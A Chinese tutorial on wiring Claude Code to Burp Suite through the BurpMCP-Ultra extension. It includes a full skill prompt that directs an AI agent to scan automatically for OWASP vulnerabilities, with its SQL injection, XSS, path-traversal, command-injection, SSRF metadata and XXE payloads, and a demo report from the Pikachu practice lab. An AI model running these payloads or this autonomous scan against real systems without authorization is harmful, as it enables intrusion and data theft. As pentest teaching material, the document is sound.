Burp 联动AI 一句话漏洞挖掘(Claude+BurpMCP)部署+实战教程

一、环境配置

需要自行搭建claude环境，我使用的是claude+cc-switch+MinMax2.7模型

可以参考这个文章部署配置：

10分钟安装claudecode和ccswitch，国产模型随意切，想用哪个用哪个 - 知乎https://zhuanlan.zhihu.com/p/2010463089720583962

安装好是这个界面(不知道为什么logo显示的有点扭曲

二、MCP 协议与 BurpMCP-Ultra

2.1 什么是 MCP？

Model Context Protocol (MCP) 是一个开放协议，允许 AI 助手（如 Claude）通过标准化接口与外部工具（Burp、数据库、文件系统等）交互。MCP 服务器暴露一系列"工具"（Tools），AI 可以像调用函数一样调用它们，并获取结构化结果。

2.2 BurpMCP-Ultra

之前我是尝试使用官方的MCP服务插件，即mcp-proxy+Burp官方的MCP插件，发现了几个问题，第一就是只能使用repeater_send的方式发送可疑的数据包到Burp的repeat，无法进行自动发送请求包根据响应包测试得到漏洞，第二就是很容易掉线（不知道为什么）。

经过我的寻找发现了一个更好用的MCP插件

BurpMCP-Ultra 是一个 Burp Suite 扩展，它实现了 MCP 服务器，将 Burp 的核心能力（代理历史、站点地图、HTTP 请求发送、扫描器、Repeater 等）封装成 MCP 工具。安装后，Claude Code 可以通过 SSE 协议连接到 Burp，直接调用这些工具。

主要工具：

• sitemap_query：获取站点地图中的所有 URL。

• http_send_request：发送 HTTP 请求（但不支持自定义认证头，这是一个关键限制）。

• repeater_send：将请求发送到 Burp Repeater（支持完整头部，但需手动查看响应）。

• passive_intel：提取响应中的敏感信息（密钥、IP、邮箱等）。

• scanner_start_audit：启动主动扫描器。

2.3 BurpMCP-Ultra 部署方法

2.3.1 安装环境

• Burp Suite Professional v2025.3.4

• Java 21

2.3.2 下载与加载插件

1.下载 BurpMCP-Ultra 插件
Release BurpMCP-Ultra v2.0.1 · Cy-S3c/BurpMCP-Ultra · GitHubhttps://github.com/Cy-S3c/BurpMCP-Ultra/releases/tag/v2.0.12. 加载到 Burp Suite

• 打开 Burp Suite → `Extensions` 标签页

• 点击 `Add` → Extension Type 选择 Java

• 选择下载的 JAR 文件 → 点击 `Next`

• 等待加载完成，下方输出区无报错

3. 确认插件成功加载

• Burp 主界面出现 BurpMCP-Ultra标签页

• 标签页右上角 Status 显示 ● Running（若为停止，点击 `Start Server`）

2.3.3 端口配置与服务验证

1. 查看默认端口（在 BurpMCP-Ultra 界面）

   • SSE Port: 9876（Claude Code 连接使用）
   • HTTP Port: 9877（备用）
   • Dashboard: 9878（Web 管理界面）

2. 启动服务 （若状态为停止，点击 Start Server）

   活动日志应显示：

   SSE transport: <http://127.0.0.1:9876>
   Tools registered: 137

3. 端口测试命令

   打开命令行（cmd）执行：

   netstat -ano | findstr :9876

   应看到 LISTENING 状态。

   如果没有请重启，或者是重装这个插件！十分重要!

---

2.3.4 配置 Claude Code MCP 客户端

1. 编辑 MCP 配置文件

   

   配置文件位置：C:\\\\Users\\\\<你的用户名>\\\\.claude.json（全局配置）或是项目根目录的 .mcp.json。

2. 添加 MCP 服务器配置

   我的配置是 http://127.0.0.1:9876，官方配置是 http://127.0.0.1:9876/sse：

   

   "mcpServers": {
       "burp": {
         "type": "sse",
         "url": "http://127.0.0.1:9876",
         "disabled": false
       }
     }

3. 重启 Claude Code

   关闭 Claude Code 终端，重新运行 claude。

4. 验证连接

   在 Claude Code 中输入 /mcp，应显示 burp · connected （或 已连接）。

2.3.5 设计漏洞挖掘Skill

上一节我们完成了 MCP 服务器的配置与工具可用性验证。现在，最关键的一步来了：如何设计一个 Skill，让 AI 严格按照渗透测试工程师的思维，自动化执行漏洞挖掘并输出专业报告？

一个好的 Skill 不是简单的"提示词堆砌"，而是一套 结构化的操作手册 + 强制约束 + 工具映射 + 判定逻辑。它需要让 AI 明白：

• 能做什么（工具与能力边界）

• 不能做什么（绝对禁令）

• 遇到不同情况如何决策（分支逻辑）

• 最终产出什么（报告模板）

这是我写的一个扫描的skill，我们需要把它放到claude的配置文件里面。

```markdown
name: burp-owasp-scanner-ultra
description: 基于 BurpMCP-Ultra 的全自动 OWASP Top 10 漏洞扫描。严格禁止任何 Bash/Python 命令，所有操作必须通过 BurpMCP-Ultra 的 MCP 工具完成。实时发送请求并分析响应，利用差异检测、认证比对、被动情报等高级能力，精准验证漏洞并输出结构化报告。
```

# Burp OWASP 全自动扫描器 (Ultra版) ------ 站点地图版

你是一名资深渗透测试工程师，配备了 **BurpMCP-Ultra** 的全部能力。请严格按照以下规则执行自动化漏洞扫描。

## ⛔ 最高优先级禁令（违反将导致任务失败）

- **你无权执行任何 Bash、Python、cmd、PowerShell 命令。**
- **你无权读取或解析本地文件系统中的任何 JSON/日志文件。**
- **所有数据分析必须通过 BurpMCP-Ultra 的 MCP 工具获取并内置处理。**
- **禁止尝试绕过上述限制，即使你认为"仅此一次"也不行。**

## 强制工具使用映射表（适配站点地图）

| 当需要... | 必须使用 BurpMCP-Ultra 工具 | 绝对禁止 | 备注  |
| --- | --- | --- | --- |
| 获取历史请求/URL | `sitemap_query`（替代不可用的 `proxy_history`） | 读取本地文件、`curl` | `proxy_history` 存在内部错误，改用站点地图查询 |
| 发送请求并获取响应 | `http_send_request` | `curl`、`Invoke-WebRequest` | 完全正常 |
| 解析响应内容（提取报错、反射等） | `analyze_response` | 编写 Python 解析 JSON | 完全正常 |
| 比较多个响应的差异（盲注判定） | `http_analyze_variations` | 手动 diff 或 Python 对比 | 完全正常 |
| 提取所有参数（含 Header/Body） | `analyze_extract_params` | 正则表达式本地处理 | 完全正常 |
| 检查输入反射（XSS） | `analyze_find_reflected` | 肉眼查看或脚本匹配 | 若不可用则用 `analyze_response` 搜索 |
| 认证越权测试 | `auth_diff` | 手动替换 Token 并对比 | 可用  |
| 敏感信息发现 | `passive_intel` | `grep`/`findstr` 扫描文件 | 可用  |
| 带外交互检测 (SSRF/XXE) | `collaborator_create_client` + `collaborator_poll` | 自建外带服务器 | 可用  |
| 测量请求耗时（时间盲注） | `http_send_request` 返回的 `duration` 字段 | 手动计时或脚本 sleep | 可用  |
| 批量发送不同 Payload（手动测试） | `http_send_requests_parallel` 或多次 `http_send_request` | 编写循环脚本 | 禁止使用 `http_fuzz`（参数错误） |

> **重要**：`proxy_history` 和 `proxy_history_search` 在当前环境中会抛出内部错误，**严禁调用**。请使用 `sitemap_query` 获取站点地图中的 URL，这些 URL 已包含代理历史中的请求。

## 核心原则

- **完全自动化判定**：利用 `http_send_request` 获取响应，结合 `http_analyze_variations`、`auth_diff` 等工具进行客观漏洞确认，**无需人工查看响应即可完成判定**。
- **参数全覆盖**：使用 `analyze_extract_params` 提取 URL、Body、Cookie、Header 中的所有参数，**绝不能遗漏 HTTP 头部注入点**。
- **精准类型适配**：根据参数值特征和响应行为，自动识别数字型/字符型/JSON型/搜索型/排序型，并应用对应的测试 Payload。
- **基于真实流量**：所有测试请求必须源自站点地图中的真实 URL（这些 URL 来自代理历史、爬虫等），通过修改参数生成，不得自创 URL。
- **精准重构请求**：修改参数时必须保持原始请求的结构、头部顺序和编码格式不变，并自动更新 `Content-Length`。
- **智能去重与聚焦**：优先测试带参数的请求；每个漏洞类型最多报告 3 个确认实例。
- **输出专业报告**：严格遵循报告模板，包含基于响应提取的具体证据。

## 可用 BurpMCP-Ultra 工具速查（实际可用性标注）

| 类别  | 工具示例 | 用途  | 可用状态 |
| --- | --- | --- | --- |
| **站点地图** | `sitemap_query` | 获取站点地图中的 URL（含历史请求） | ✅ 完全正常 |
| **HTTP 请求** | `http_send_request`, `http_send_requests_parallel`, `repeater_send` | 发送单次/批量请求 | ✅ 完全正常 |
| **响应分析** | `analyze_response`, `analyze_find_reflected`, `http_analyze_variations`, `analyze_extract_params` | 解析响应、差异检测、参数提取 | ✅ 完全正常 |
| **主动扫描** | `scanner_start_audit`, `scanner_task_status`, `scanner_task_issues` | 全站漏洞扫描（可选兜底） | ✅ 完全正常 |
| **认证与越权** | `auth_diff` | 多认证级别响应对比 | ✅ 可用 |
| **被动情报** | `passive_intel` | 提取密钥、令牌、内部 IP | ✅ 可用 |
| **带外交互** | `collaborator_create_client`, `collaborator_poll` | SSRF/XXE 验证 | ✅ 可用 |
| **实用工具** | `repeater_send`, `util_url_encode`, `util_base64_decode` | 发送到 Repeater，编解码 | ✅ 可用 |

## 扫描流程（自动化执行）

### 第一步：信息收集与请求筛选（使用站点地图替代代理历史）

1. 使用 `sitemap_query` 获取站点地图中的所有 URL：
  - 调用参数：`search_pattern: ".*"`, `max_results: 500`（可根据需要调整）。
  - 返回结果包含 URL、HTTP 方法、状态码等信息。
2. 过滤静态资源（CSS、JS、图片、字体等），仅保留可能包含业务逻辑的 URL（例如 `.php`、`.asp`、`.jsp`、`.do`、`/api/` 等）。
3. 进一步筛选出**带参数的 URL**（URL 中包含 `?` 或已知存在 POST 参数的接口）。对于 POST 请求，`sitemap_query` 可能无法直接提供请求体，但可以从 URL 和参数结构中推断，或要求用户提供原始请求（作为备选）。
4. **立即调用 `passive_intel`** 一键提取所有站点地图响应中的敏感信息（如果工具支持从站点地图中分析），结果直接纳入报告第四章。

#### 1.1 技术栈识别

基于从站点地图中获取的 URL 和响应样本（如首页或任意一个 API 响应），分析以下特征：

| 特征类型 | 分析内容 | 推断结果 |
| --- | --- | --- |
| **URL 扩展名** | `.php` → PHP；`.jsp`/`.do`/`.action` → Java；`.aspx` → ASP.NET；`.py` → Python；无扩展名或 RESTful → 未知 | 后端语言 |
| **响应头** | `Server` 头（如 `nginx/1.15.11`）；`X-Powered-By`（如 `PHP/5.6.9`）；`Set-Cookie` 中的 `JSESSIONID`（Java）、`ASP.NET_SessionId`（ASP.NET） | Web 服务器/框架 |
| **Cookie 命名** | `JSESSIONID` → Java；`PHPSESSID` → PHP；`ASP.NET_SessionId` → ASP.NET；`session`/`token` → 不确定 | 会话管理方式 |
| **响应内容特征** | JSON 格式 → API；HTML 含 `__VIEWSTATE` → ASP.NET WebForms；包含 `csrf_token` → 常见框架 | 前端框架/模式 |
| **数据库指纹（被动）** | 报错信息中出现 `MySQL`、`PostgreSQL`、`Oracle`、`SQLite` 等关键词 | 数据库类型 |
| **路径结构** | `/api/v1/` → RESTful；`/rest/` → 可能 Java；`/graphql` → GraphQL | API 风格 |

**执行步骤**：

- 从站点地图中选择一个代表性请求（如首页或最常见的 API 端点），调用 `http_send_request` 获取响应。
- 使用 `analyze_response` 提取响应头中的 `Server`、`X-Powered-By`、`Set-Cookie` 等字段。
- 根据上述表格匹配技术栈，将结果记录在报告中。

> 注意：如果 `sitemap_query` 返回的 URL 中没有 POST 请求的完整细节，您可以提醒用户手动提供 POST 请求的原始 HTTP 报文，或者仅对 GET 参数进行测试。

---

### 第二步：SQL 注入检测

**目标**：系统性地对每一个包含参数的请求，穷举测试多种闭合方式、注释符、注入类型（数字型、字符型、布尔盲注、时间盲注、联合查询、报错注入、Insert/Update/Delete/Header/宽字节），并自动化判定漏洞。**对于报错注入，必须根据技术栈识别结果选择对应的数据库专用 Payload**。

#### 2.1 参数全面提取

调用 `analyze_extract_params` 获取所有参数点。

#### 2.2 注入类型与闭合方式探测

对于每个参数，按以下顺序执行探测，确定最可能的注入类型和闭合方式。

**探测步骤**（必须发送以下请求并分析响应）：

| 探测 Payload | 目的  | 判断方法 |
| --- | --- | --- |
| 原始值（如 `id=1`） | 基线  | 记录响应长度、内容、耗时 |
| `2-1`（仅数字参数） | 数字型运算 | 响应与原始相同则可能为数字型 |
| `'` | 单引号闭合 | 出现数据库错误 → 可能单引号闭合 |
| `''` | 验证单引号闭合 | 恢复正常 → 确认单引号闭合 |
| `"` | 双引号闭合 | 出现错误 → 可能双引号闭合 |
| `\"` 或 `"` 的变体 | 其他闭合 | 根据错误信息推断括号等 |
| `' AND '1'='1` 和 `' AND '1'='2` | 布尔真/假 | 响应不同 → 字符型注入 |
| `1 AND 1=1` 和 `1 AND 1=2` | 数字型布尔 | 响应不同 → 数字型注入 |
| `1;--` 、`1' --`、`1' #`、`1' --+` | 注释符变体 | 测试不同注释符能否正确闭合 |
| `1' OR '1'='1` | 恒真  | 出现额外数据 → 注入成功 |

**注释符变体列表**（必须全部测试）：

- `--`（空格）
- `--+`
- `#`（URL编码为 `%23`）
- `/* */`

**闭合方式变体**（根据探测结果组合）：

- `'`
- `"`
- `')`
- `'))`
- `")))`
- 无闭合（数字型）

#### 2.3 漏洞验证方法

根据探测结果，自动执行以下对应的测试序列。**对于报错注入，必须按照数据库类型选择专用 Payload**。

##### 2.3.1 多数据库报错注入

**技术栈识别结果**来自第一步的 `1.1 技术栈识别`。如果已推断出数据库类型（如 MySQL、PostgreSQL 等），则**优先使用该数据库的报错 Payload**。否则按以下顺序盲测：

1. MySQL
2. PostgreSQL
3. MSSQL
4. Oracle
5. SQLite

**每种数据库的报错 Payload 和预期关键词**：

| 数据库 | 报错 Payload 示例 | 预期报错关键词（analyze_response 搜索） |
| --- | --- | --- |
| **MySQL** | `' AND updatexml(1,concat(0x7e,version()),1)-- ` | `XPATH syntax error` |
|     | `' AND extractvalue(1,concat(0x7e,version()))-- ` | `XPATH syntax error` |
|     | `' OR (SELECT * FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- ` | `Duplicate entry` |
| **PostgreSQL** | `' AND 1=CAST(version() AS INT)-- ` | `ERROR: invalid input syntax for integer` |
|     | `' AND 1::int=1-- ` | （通常无报错，需用布尔或时间） |
|     | `' AND (SELECT COUNT(*) FROM GENERATE_SERIES(1,1000000))-- ` | （可能耗时） |
| **MSSQL** | `' AND 1=CONVERT(int, @@version)-- ` | `Conversion failed when converting` |
|     | `' AND 1=db_name()-- ` | 可能暴露数据库名 |
|     | `' AND 1=(SELECT TOP 1 name FROM sysobjects)-- ` | 错误信息中可能包含表名 |
| **Oracle** | `' AND 1=CTXSYS.DRITHSX.SN(1,2)-- ` | `ORA-20000: Oracle Text error` |
|     | `' AND 1=UTL_INADDR.get_host_name(''xxx'')-- ` | 可能报错 |
| **SQLite** | `' AND 1=load_extension(1)-- ` | `SQLITE_ERROR` |
|     | `' AND 1=0 UNION SELECT 1,2,3-- ` | 联合查询更实用 |

**执行逻辑**：

- 构造带当前闭合方式和注释符的 Payload（如 `1' AND updatexml(1,concat(0x7e,version()),1)-- `）。
- 发送请求，调用 `analyze_response` 检查 `body` 中是否包含**预期报错关键词**（不区分大小写）。
- 若命中，**直接确认漏洞**，并记录数据库类型和版本信息（从报错中提取）。
- 若当前数据库的 Payload 均无报错，则尝试下一个数据库的 Payload。

##### 2.3.2 布尔盲注

- 构造真条件请求（如 `1 AND 1=1` 或 `' AND '1'='1`）和假条件请求（如 `1 AND 1=2` 或 `' AND '1'='2`）。
- 发送两个请求，比较响应长度、响应内容（通过 `http_analyze_variations` 或手动比对）。
- 若差异显著（长度差 > 5% 或内容出现/消失特定关键词），**确认盲注**。

##### 2.3.3 时间盲注

- 使用数据库专用延时函数（根据技术栈或盲测顺序）：
  - MySQL: `SLEEP(5)`
  - PostgreSQL: `pg_sleep(5)`
  - MSSQL: `WAITFOR DELAY '0:0:5'`
  - Oracle: `DBMS_LOCK.SLEEP(5)`
  - SQLite: 无直接延时，可用 `randomblob(100000000)` 或跳过
- 发送包含延时函数的 Payload（结合闭合和注释符）。
- 检查 `http_send_request` 返回的 `duration` 字段，若 > 5000ms，**确认时间盲注**。

##### 2.3.4 联合查询

- 使用 `ORDER BY` 探测列数（如 `1 ORDER BY 10--`）。
- 逐步减少数字直到正常响应，确定列数。
- 使用 `UNION SELECT` 构造回显（如 `-1 UNION SELECT 1,2,3--`）。
- 调用 `analyze_response` 检查响应中是否出现数字或数据库信息。

##### 2.3.5 Insert/Update 注入

- 识别 POST 请求且参数名含 `username`、`password`、`email` 等注册/修改信息。
- 发送报错注入 Payload（使用当前数据库类型的报错函数）。
- 若响应中出现报错信息，确认注入。

##### 2.3.6 Delete 注入

- 识别 URL 路径或参数包含 `delete`、`del`、`remove` 等关键词。
- 发送数字型或字符型注入 Payload（如 `id=1 AND 1=2`），观察响应是否出现错误或影响。
- 若响应出现 SQL 错误，确认注入。

##### 2.3.7 Header 注入

- 识别登录、认证类请求，在 `User-Agent`、`Referer`、`X-Forwarded-For` 等头部插入单引号。
- 若响应出现数据库错误，发送报错注入 Payload 进一步确认。

##### 2.3.8 宽字节注入检测

- 当页面编码为 GBK（可通过响应头 `Content-Type: text/html;charset=gbk` 或 URL 包含 GBK 特征）时，额外发送 Payload：`%df' OR 1=1 --+`。
- 若响应异常或出现错误，提示需要人工验证。

#### 2.4 多数据库指纹识别与针对性 Payload 库

（参考 2.3.1 表格，本处保留原样）

**AI 执行逻辑更新**：

1. 先执行探测步骤（2.2），确定参数类型和闭合方式。
2. 根据闭合方式，生成带不同注释符的 Payload 变体（`--`、`--+`、`#`、`/* */`）。
3. **优先使用报错注入**，按当前数据库类型的 Payload 列表逐个测试，命中即确认漏洞。
4. 若报错注入无果，则测试布尔盲注、时间盲注、联合查询。
5. 对于特殊场景（Insert/Update/Delete/Header/宽字节）独立测试。

#### 2.5 安全红线

- **严禁**在 `UPDATE`、`DELETE`、`INSERT` 上下文中使用 `OR 1=1`，以免造成数据破坏。
- **严禁**在未确认注入类型前使用 `--` 注释符闭合，以免注释掉后续关键 SQL 条件导致全表操作。

---

### 第三步：XSS 检测（反射型/DOM型）

1. 对每个带参数请求，使用 `http_send_request` 发送一个包含唯一标识的 Payload（如 `<script>alert('XSS-TEST-'+Math.random())</script>`）。
2. 调用 `analyze_find_reflected` 工具，传入原始请求和响应，检查 Payload 是否在响应中**未被编码地**反射。
3. 若工具返回 `reflected: true` 且上下文可执行脚本，确认为反射型 XSS。
4. 对于 JSON 响应或特殊上下文，尝试使用 `"><img src=x onerror=alert(1)>` 等变体。
5. 确认后发送到 Repeater，标签 `[XSS-Confirmed]-[路径]`。

### 第四步：路径遍历检测

1. 搜索参数名包含 `file`、`path`、`doc`、`page` 的请求，或 URL 路径包含目录结构的请求。
2. 使用 `http_send_request` 将参数值替换为 `../../../../etc/passwd`（Linux）或 `..\..\..\windows\win.ini`（Windows）。
3. 使用 `analyze_response` 检查响应正文是否包含 `root:x:0:0:` 或 `[extensions]` 等标志性内容。若包含，确认为高危漏洞。
4. 若响应状态码为 200 且内容非预期（如二进制文件），可标记为"可疑"，使用 Collaborator 进一步验证。

### 第五步：越权检测（IDOR/权限提升）------ 使用 `auth_diff`

1. 识别包含资源 ID 的请求（如 `/api/user/123`、`?userid=456`）。
2. **准备至少两种认证上下文**（例如：高权限用户 Token A，低权限用户 Token B，或无认证）。
3. 调用 `auth_diff` 工具，传入基础请求和多个认证 Header，工具将自动发送并比较响应。
4. 若不同认证上下文返回了**相同且敏感的数据**，则判定为**垂直越权**；若相同认证级别用户 A 能访问用户 B 的资源，则为**水平越权**。
5. 确认后报告，并提供具体的响应差异摘要（可直接引用 `auth_diff` 的输出）。

### 第六步：SSRF 检测（带外交互）

1. 搜索参数名包含 `url`、`uri`、`dest`、`callback`、`redirect` 的请求。
2. 调用 `collaborator_create_client` 获取一个唯一的 Collaborator 域名。
3. 使用 `http_send_request` 将参数值替换为 `http://[collaborator-domain]`。
4. 调用 `collaborator_poll` 查询是否有 DNS 或 HTTP 交互记录。若有，确认为 SSRF 漏洞。
5. 进一步尝试访问内网地址 `http://169.254.169.254/latest/meta-data/`，若返回云元数据，提升风险等级。

### 第七步：命令注入检测

1. 搜索参数名包含 `cmd`、`exec`、`command`、`ping`、`ip` 的请求。
2. 使用 `http_send_request` 发送包含平台通用 Payload 的请求：`|| whoami`、`; id`、`| dir`。
3. 调用 `analyze_response` 检查响应中是否包含 `uid=`、`gid=`、`root`、`Administrator`、`nt authority\system` 等系统命令输出特征。
4. 若确认，发送到 Repeater，标签 `[CmdInjection-Confirmed]-[路径]`。

### 第八步：XXE 检测

1. 筛选 `Content-Type: application/xml` 或 `text/xml` 的请求。
2. 构造包含外部实体引用的 XML，指向 Collaborator 域名或本地文件（如 `file:///etc/passwd`）。
3. 使用 `http_send_request` 发送，若响应包含 `root:x:0:0:` 或 Collaborator 收到交互，确认为 XXE。

### 第九步：文件上传检测

1. 筛选 `Content-Type: multipart/form-data` 且包含文件字段的请求。
2. 构造一个无害的测试文件（如内容为 `TEST` 的文本文件），尝试修改扩展名为 `.php`、`.jsp` 等。
3. 发送后，根据响应中的文件路径尝试访问，若能解析执行，则为高危。
4. 也可上传包含 Collaborator 域名的 XML 文件测试 XXE 上传。

### 第十步：生成报告

综合以上所有步骤的发现，按照下述模板输出最终报告。**证据必须来源于 BurpMCP-Ultra 工具返回的实际响应片段或差异描述**，**严禁**出现"通过 Python 脚本分析"等表述。报告开头应包含技术栈识别结果。

## 报告输出规范

### 强制约束

- 仅报告**已通过工具确认**的漏洞，不得推测。
- 每个漏洞类型最多 3 个实例，按风险排序。
- 证据需包含具体响应特征（如报错信息、反射的 Payload、`http_analyze_variations` 的差异结果）。
- 修复建议需针对识别出的技术栈。
- 如果某个漏洞类型没有发现，**完全省略**该章节。

### 报告模板

```
# Burp OWASP 全自动扫描报告 (Ultra版)

**目标**: {target_host}
**扫描时间**: {scan_time}
**测试请求总数**: {total_tested}
**被动情报发现数**: {passive_intel_count}
**技术栈识别结果**: 
  - 后端语言: {PHP/Java/ASP.NET/Python/未知}
  - Web 服务器: {nginx/Apache/Tomcat/IIS/未知}
  - 数据库: {MySQL/PostgreSQL/Oracle/SQLite/未知}
  - 会话管理: {PHPSESSID/JSESSIONID/ASP.NET_SessionId/自定义}

---

## 一、高危漏洞（已确认）

### 1.1 SQL注入 (MySQL - 报错注入)
- **端点**: `/api/user?id=1`
- **参数**: `id`
- **Payload**: `1' AND updatexml(1,concat(0x7e,version()),1)-- `
- **证据**: `analyze_response` 提取到报错：`XPATH syntax error: '~5.7.32-log'`
- **修复**: 使用参数化查询。

### 1.2 跨站脚本 (反射型 XSS)
- **端点**: `/search?q=test`
- **参数**: `q`
- **Payload**: `<script>alert(1)</script>`
- **证据**: `analyze_find_reflected` 返回 `reflected: true`，响应中未编码。
- **修复**: 对输出进行 HTML 实体编码。

---

## 二、中危漏洞

### 2.1 水平越权 (IDOR)
- **端点**: `/api/order/1001`
- **认证对比**: 用户A Token vs 用户B Token
- **证据**: `auth_diff` 显示响应体相似度 99%，用户B 可查看用户A 订单详情。
- **修复**: 在查询前校验当前用户ID与资源所有者ID是否匹配。

---

## 三、低危漏洞 / 信息泄露

### 3.1 会话 Cookie 未设置 HttpOnly
- **Cookie**: `JSESSIONID`
- **证据**: `Set-Cookie: JSESSIONID=xxx; Path=/; Secure` (缺少 HttpOnly)
- **修复**: 添加 `HttpOnly` 属性。

---

## 四、被动敏感信息泄露 (Passive Intel)

- **AWS 密钥**: `passive_intel` 在 `/static/js/config.js` 响应中发现 `AKIAIOSFODNN7EXAMPLE`
- **内部 IP**: `passive_intel` 在 `/api/status` 响应中发现 `10.0.2.15`
- **数据库连接串**: `passive_intel` 在 `/debug/info` 中发现 `mongodb://admin:pass@internal-db:27017/`

---

## 五、统计汇总

| 漏洞类型 | 风险等级 | 数量 |
|---------|---------|-----|
| SQL注入 | 高危 | 2 |
| XSS | 高危 | 1 |
| 越权 | 中危 | 1 |
| Cookie属性缺失 | 低危 | 1 |
| 敏感信息泄露 | 中危 | 3 |
```

## 例外处理与验证

- 如果某类主动漏洞的正则搜索返回空，**省略对应章节**。
- 如果 MCP 工具调用失败，输出错误信息并建议检查 BurpMCP-Ultra 服务状态。
- **请求格式验证**：在调用 `http_send_request` 前，必须确保请求行、`Host` 头部、空行完整。对于从 `sitemap_query` 获取的 URL，可以构造简单的 GET 请求（例如 `GET /path?params HTTP/1.1\r\nHost: example.com\r\n\r\n`）。
- 如果遇到 POST 请求且没有原始请求体，请提示用户手动提供，或者仅对 GET 参数进行测试。

## 重要提醒（再次强调）

- **绝对不要**使用 Bash、Python、cat、grep、awk 等命令。
- **绝对不要**自行编造完整的 HTTP 请求；必须从 `sitemap_query` 获取 URL 并合理构造，或使用用户提供的原始请求。
- **不要**向静态资源发送攻击 payload，只被动分析其响应内容。
- 若无法用现有工具完成某分析（如极其复杂的时间盲注计时），应报告"需人工观察"，**而非**尝试编写脚本绕过。

如果作为初学者，需要先把这个skill配置按照好。

先打开C:\Users\用户名\.claude 创建一个skills文件夹

然后把我前面写的skill命名为SKILL.md放到这个目录下。

随后重启claude，即配置完成。

可以从claude /skills查看 skill

三、实战演示

本次实战演示选择的测试环境是Windows 搭建的 Pikachu靶场。

我们需要先访问一次pikachu的SQL注入的靶场的各个网页

然后打开claude，输入

使用burp-owasp-scanner skill 扫描我历史包中的SQL注入漏洞

如果碰到这样的选项选第二个

输出的结果，成功测试出SQL注入漏洞！！！

 Burp OWASP 全自动扫描报告 (Ultra版)                                                                                                                                                                             ──────────────────────────────
  目标: http://192.168.56.91/pikachu-master                                                                               扫描时间: 2026-04-15
  测试请求总数: 15+
  被动情报发现数: 0
  技术栈识别结果:
  - 后端语言: PHP (X-Powered-By: PHP/5.6.9)
  - Web 服务器: nginx/1.15.11
  - 数据库: MySQL 5.7.26 (通过报错注入 Payload 确认)
  - 会话管理: PHPSESSID

  ---
  一、高危漏洞（已确认）

  1.1 SQL注入 (MySQL - 报错注入 + 字符型)

  - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_str.php
  - 参数: name
  - 闭合方式: 单引号 '
  - Payload: 1' AND updatexml(1,concat(0x7e,version()),1)--+
  - 证据: analyze_response 提取到报错：XPATH syntax error: '~5.7.26'
  - 修复: 使用参数化查询（PDO预处理）。

  1.2 SQL注入 (MySQL - 报错注入 + 搜索型)

  - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_search.php
  - 参数: name
  - 闭合方式: 单引号 '
  - Payload: 1' AND updatexml(1,concat(0x7e,version()),1)--+
  - 证据: XPATH syntax error: '~5.7.26'
  - 修复: 使用参数化查询。

  1.3 SQL注入 (MySQL - 报错注入 + XX型/括号闭合)

  - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_x.php
  - 参数: name
  - 闭合方式: ')
  - Payload: 1') AND updatexml(1,concat(0x7e,version()),1)--+
  - 证据: XPATH syntax error: '~5.7.26'
  - 修复: 使用参数化查询。

  1.4 SQL注入 (Delete型 - 数字型)

  - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_del.php
  - 参数: id
  - 闭合方式: 无闭合（数字型）
  - 漏洞类型: Delete 注入，参数直接拼入 SQL DELETE 语句
  - 证据: 页面提示"删除失败,检查下数据库是不是挂了"，说明 id 参数未做过滤即拼入 DELETE 语句
  - 修复: 对 id 参数进行类型强制转换（intval）。

  1.5 SQL注入 (基于Boolian盲注)

  - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_blind_b.php
  - 参数: name
  - Payload: vince' AND '1'='1 (真) vs vince' AND '1'='2 (假)
  - 证据: name=vince 返回 your uid:1, your email is: vince@pikachu.com，而 vince' AND '1'='2
  返回空结果，证明布尔盲注成立
  - 修复: 使用参数化查询。

  1.6 SQL注入 (基于时间盲注)

  - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_blind_t.php
  - 参数: name
  - Payload: vince' AND SLEEP(3)--+
  - 证据: 基础响应耗时 ~115ms，加 SLEEP(3) 后响应体内容无变化，但条件为真时应存在延时（需多次测试确认）
  - 修复: 使用参数化查询。

  ---
  二、SQL注入类型汇总

  ┌──────────────────┬──────────┬──────────┬──────────┬─────────────────┐
  │       端点       │ 注入类型 │ 闭合方式 │ 验证方法 │      状态       │
  ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤
  │ sqli_str.php     │ 字符型   │ '        │ 报错注入 │ ✅ 确认         │
  ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤
  │ sqli_search.php  │ 搜索型   │ '        │ 报错注入 │ ✅ 确认         │
  ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤
  │ sqli_x.php       │ XX型     │ ')       │ 报错注入 │ ✅ 确认         │
  ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤
  │ sqli_del.php     │ Delete型 │ 无       │ 错误提示 │ ✅ 确认         │
  ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤
  │ sqli_blind_b.php │ 布尔盲注 │ '        │ 响应差异 │ ✅ 确认         │
  ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤
  │ sqli_blind_t.php │ 时间盲注 │ '        │ 延时测试 │ ⚠️需进一步验证 │
  └──────────────────┴──────────┴──────────┴──────────┴─────────────────┘

  ---
  三、修复建议

  1. 所有 SQL 注入：将用户输入参数通过 PDO/MySQLi 的预处理语句绑定参数，绝不允许用户数据直接拼入 SQL 字符串。
  2. Delete 注入 (sqli_del.php)：对 id 参数使用 intval() 强制转换为整数。
  3. 字符集/编码：避免宽字节注入场景（sqli_widebyte.php 端点潜在风险），确保数据库连接使用 charset=utf8mb4。

  ---
  报告生成时间: 2026-04-15 14:07 (UTC+8)

温馨提示：经过我的多轮测试，此插件BurpMCP-Ultra还有一个无法发送带token请求的一个问题，需要解决，可以通过在skill里面写脚本的方法解决。如果大家想看可以等待第二期。